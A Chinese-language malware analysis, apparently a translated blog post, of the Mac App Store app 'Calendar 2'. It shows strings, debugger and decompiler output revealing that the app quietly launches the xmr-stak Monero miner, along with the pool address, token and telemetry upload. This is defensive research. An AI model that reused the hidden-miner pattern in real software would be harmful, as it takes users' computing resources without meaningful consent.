累覺不愛 Mac App Store 上竟然也有偷偷奴役你電腦挖礦的應用
在本文中,我們分析了在官方Mac App Store上發現的「Calendar 2」。有點出人意料的是,它竟然具備秘密地將你的Mac電腦變成一個加密貨幣挖礦工的能力。
背景
今天是星期天,「休息日」。如果你是使用CPU進行加密貨幣挖礦的人,你永遠也不會休息一天。如果你是一個macOS安全研究員,一樣沒有假期!
今天早些時候,Ars Technica的Dan goodon向我介紹了一款官方Mac App Store(Mac應用商店)的應用,據報道,這款應用秘密的挖掘加密貨幣,這一情況吸引了我。因此我決定調查一番!
分析「Calendar 2」
該應用程序由一個名為Qbix的公司,將其命名為「Canlendar 2」。目前該應用程序仍可以在Mac App Store (itunes.apple.com/us/app/calendar-2/id41update)下載。
最新消息:向蘋果公司報告了這一情況之後,該應用程序已經從Mac App Store中刪除!
使用macOS的「App Store」,我們可以安裝應用程序(注意:其應用程序包命名為CalendarFree.app)。就像在官方Mac App Store中所有的應用一樣,其簽名是有效的:
在該應用程序二進位文件上運行的字元串
(CalendarFree.app/Contents/MacOS/CalendarFree)揭示了其包含各種似乎與挖掘加密貨幣有關的字元串:
$ strings -a ~/Downloads/CalendarFree.app/Contents/MacOS/CalendarFree
...
MinerManager
updateMiner
_parseMinerSetting
com.qbix.MineroMode
Miner: Start. core %d; cpuLimit %d; port %d; slowMemory %@; currency: %@; token: %@
Miner: Stopped
Miner: Check: hashrate %d; status: %d
通過jtool來轉儲Objective-C(擴充C的面向對象編程語言)類信息,我們可以看到像MinerManager(挖礦管理器)這樣的類:
$ ./jtool -d objc -v CalendarFree.app/Contents/MacOS/CalendarFre
@interface MinerManager : ?
// 13 properties:
@property (nonatomic) long long currentPortIndex;
@property (copy) NSString slowMemoryMode;
@property (nonatomic) long long cpuLimit;
@property (nonatomic) long long coreLimit;
@property (copy) NSString token;
@property (copy) NSString algorythm;
...
// 32 instance methods
/* 0 - 0x100092e50 */ - runMiningPingReport;
/* 1 - 0x100092f10 */ - checkModeSelected;
/* 2 - 0x100077db0 */ - init;
/* 3 - 0x100077e10 */ - updateToReflectUserMode;
/* 4 - 0x100077e30 */ - updateMiner;
/* 5 - 0x100077fc0 */ - runMining;
/* 6 - 0x1000780d0 */ - stopMining;
/* 7 - 0x100078130 */ - checkMiningStatus;
/* 8 - 0x100078200 */ - startMiningCheckLoop;
/* 9 - 0x100078260 */ - stopMiningCheckLoop;
...
@end
最後使用MachOView,我們發現該應用程序與一個似乎是加密貨幣挖掘框架相關聯:Coinstash_XMRSTAK.framework。
很明顯,儘管蘋果公司聲稱要徹底審查提交給Mac App Store的所有應用程序,但這個叫做Calendar 2的應用程序擁有「隱藏」的加密貨幣挖掘能力!現在,讓我們進一步了解一下如何將你的CPU資源用於我的monero(XMR)。
一般來說,應用程序邏輯始於applicationDidFinishLaunching:委託方法。對該方法反編譯之後,我們發現了執行幾個MinerManager方法的被調用的塊:
void -[CalendarController applicationDidFinishLaunching:]
{
...
dispatch_after(dispatch_time(0x0, 0x3b9aca00), *__dispatch_main_q, ^ {
/* block implemented _52-[CalendarController applicationDidFinishLaunching:]_block_invoke */
});
}
void _52-[CalendarController applicationDidFinishLaunching:]_block_invoke(void * _block) {
...
[[MinerManager manager] runMiningPingReport];
[[MinerManager manager] updateMiner];
return;
}
對[MinerManager manager]的調用將觸發一個一次分配以及一個MinerManager對象的初始化。作為初始化的一部分,它調用runMining方法:
$ lldb /Applications/CalendarFree.app/
Current executable set to "/Applications/CalendarFree.app/" (x86_64).
(lldb) b -[MinerManager runMining]
Breakpoint 1: where = CalendarFree`-[MinerManager runMining]
...
Process 2944 stopped
* thread #1, queue = "com.apple.main-thread", stop reason = breakpoint 6.1
CalendarFree`-[MinerManager runMining]:
(lldb) bt
* frame #0: 0x0000000100077fc0 CalendarFree`-[MinerManager runMining]
frame #1: 0x0000000100077dff CalendarFree`-[MinerManager init] + 79
...
frame #5: 0x0000000100077d22 CalendarFree`+[MinerManager manager] + 98
通過檢查runMining方法的反編譯,我們可以看到它調用了Coinstash_XMRSTAK框架:
void -[MinerManager runMining] {
rdx = self->_coreLimit;
r14 = [self calculateWorkingCores:rdx];
[_TtC17Coinstash_XMRSTAK9Coinstash setCPULimit:self->_cpuLimit];
r15 = [self getPort];
r12 = [self algorythm];
[self getSlotMemoryMode];
[_TtC17Coinstash_XMRSTAK9Coinstash startMiningWithPort:r15 password:self->_token
coreCount:r14 slowMemory:self->_slowMemoryMode currency:r12];
NSLog(@"Miner: Start. core %d; cpuLimit %d; port %d; slowMemory %@; currency: %@;
token: %@", r14, self->_cpuLimit, r15, self->_slowMemoryMode, r12, self->_token);
[self startMiningCheckLoop];
return;
}
由於該框架是用Swift()編寫的,所以該方法名被破壞了。它的demangled名字是:
+[Coinstash_XMRSTAK.Coinstash startMiningWithPort:password:coreCount:slowMemory:currency:]。
在該方法上設置一個斷點,我們可以轉儲傳入的參數:
$ lldb /Applications/CalendarFree.app/
...
Process 1811 stopped
stop reason = breakpoint 1.1
+[Coinstash_XMRSTAK.Coinstash startMiningWithPort:password:coreCount:slowMemory:currency:]
(lldb) po $rdi
Coinstash_XMRSTAK.Coinstash
(lldb) x/s $rsi
0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"
(lldb) po $rdx
7777
(lldb) po $rcx
qbix:greg@qbix.com
因為逆轉Swift比較令人討厭,而本文已經有了足夠多的反編譯代碼片段,我們直接允許調試器在+[Coinstash_XMRSTAK.Coinstash startMiningWithPort ...] 方法上執行。通過我的ProcInfo過程監視器觀察(外部)過程事件:
# ./procInfo
[NEW EVENT: PROCESS START ("xmr-stak")]
pid: 1899
path: /Applications/CalendarFree.app/Contents/Frameworks/Coinstash_XMRSTAK.framework/
Versions/A/Resources/xmr-stak
args: (
"/Applications/CalendarFree.app/Contents/Frameworks/Coinstash_XMRSTAK.framework
/Resources/xmr-stak",
"--currency",
monero,
"-o",
"pool.graft.hashvault.pro:7777",
"-u",
G81Jc3KHStAWJjjBGzZKCvEnwCeRZrHkrUKji9NSDLtJ6Evhhj43DYP7dMrYczz5KYj...,
"-p",
"qbix:greg@qbix.com",
"--config",
"/var/folders/qm/mxjk9mls58d9ycd5c1vjt9w40000gn/T/com.qbix.Calendar/
com.beachio.coinstash/config.txt",
"--cpu",
"/var/folders/qm/mxjk9mls58d9ycd5c1vjt9w40000gn/T/com.qbix.Calendar/
com.beachio.coinstash/cpu.txt",
"--amd",
"/var/folders/qm/mxjk9mls58d9ycd5c1vjt9w40000gn/T/com.qbix.Calendar/
com.beachio.coinstash/amd.txt",
...
)
在他們的論壇上發布的一篇文章提供了更多關於他們的「macOS新的加密挖礦應用程序」xmr-stak的信息。如果我們下載他們的免費「Coinstash應用」,它就包含「相同」的xmr-stak二進位文件:
回到我們的VM。看起來像是在挖礦:
我想知道它到底在做什麼,幸運的是「Calendar」調用runMiningPingReport方法生成一個關於挖礦操作的報告,並將其發送至calendar.qbix.com/api/mining。
在-GTMHTTPFetcher initWithRequest:方法上設置一個斷點,允許我們查看將要上載的報告數據:
$ lldb /Applications/CalendarFree.app/
Current executable set to "/Applications/CalendarFree.app/" (x86_64).
(lldb) b -[GTMHTTPFetcher initWithRequest:]
Breakpoint 1: where = CalendarFree`-[GTMHTTPFetcher initWithRequest:]
Process 2825 stopped
* thread #17, queue = "com.apple.root.default-qos", stop reason = breakpoint 1.1
CalendarFree`-[GTMHTTPFetcher initWithRequest:]:
(lldb) po $rdx
{ URL: https://calendar.qbix.com/api/mining }
(lldb) po [0x1018f04e0 HTTPBody]
{
"m_mode": true,
"a_l": false,
"u_mode": 3,
"language": "en-US",
"u_p": 0,
"mining": {
"statistic": {
"ZeroCounter": 0,
"AverageHashRate": 0.92911845445632935,
"CounterTime": 30,
"NonZeroCounter": 14,
"MaxHashRate": 21,
"MinHashRate": 10
},
"params": {
"Token": "qbix:greg@qbix.com",
"Algorithm": "graft",
"CPULimit": 25,
"EnableMiningMode": true,
"CPUBatteryLimit": 10,
"CoreLimit": 25,
"Ports": {
"7777": 1000000,
"5555": 160,
"3333": 40
}
}
},
"sv": "10.13.3",
"m_a_mode": false,
"la": false,
"t": "000c2909108f",
"tz_offset": -25200,
"u": 0,
"bv": "2.6.1",
"id": "2018-03-12 01:02:20 +0000",
"battery": {
"BatteryPlugIn": 111,
"TimeInterval": 60,
"BatteryCounters": 111
},
"l": "-1037.3,-122.0",
"tz_name": "PDT",
"u_s": 1,
"client_time": 1520827483,
...
}
在我們結束之前,要進行有一個有趣的觀察。正如sharp-eyed @dogcow所指出的,「Calendar 2」應用程序實際上告訴我們,它可以利用我們cpu的空閑周期,在後台執行加密貨幣的挖掘工作:
作為允許該應用將你的box變成一個加密貨幣挖礦工的回報,該應用程序正在開放「免費獲得所有高級功能」,這是一筆公平交易嗎?也許?但是用戶顯然「不會」對此引發抗議。
蘋果公司對此會持什麼態度?我無法想像他們會對這種行為持滿意態度——即使是對應用程序內部的文檔。我猜測,即使這並不違反他們嚴格的Mac App Store「服務條款」,他們也很可能會維護受害Mac用戶的利益。但是一切都不確定!
總結
在本文中,我們分析了在官方Mac App Store上發現的「Calendar 2」。有點出人意料的是,它竟然具備秘密地將你的Mac電腦變成一個加密貨幣挖礦工的能力。
還記得蘋果公司強烈暗示Mac電腦不會感染病毒嗎?
當他們告訴我們蘋果應用商店的應用程序是「安全的」的時候,或許也用有所保留的態度來看待這個問題是比較明智的!
TAG:嘶吼RoarTalk |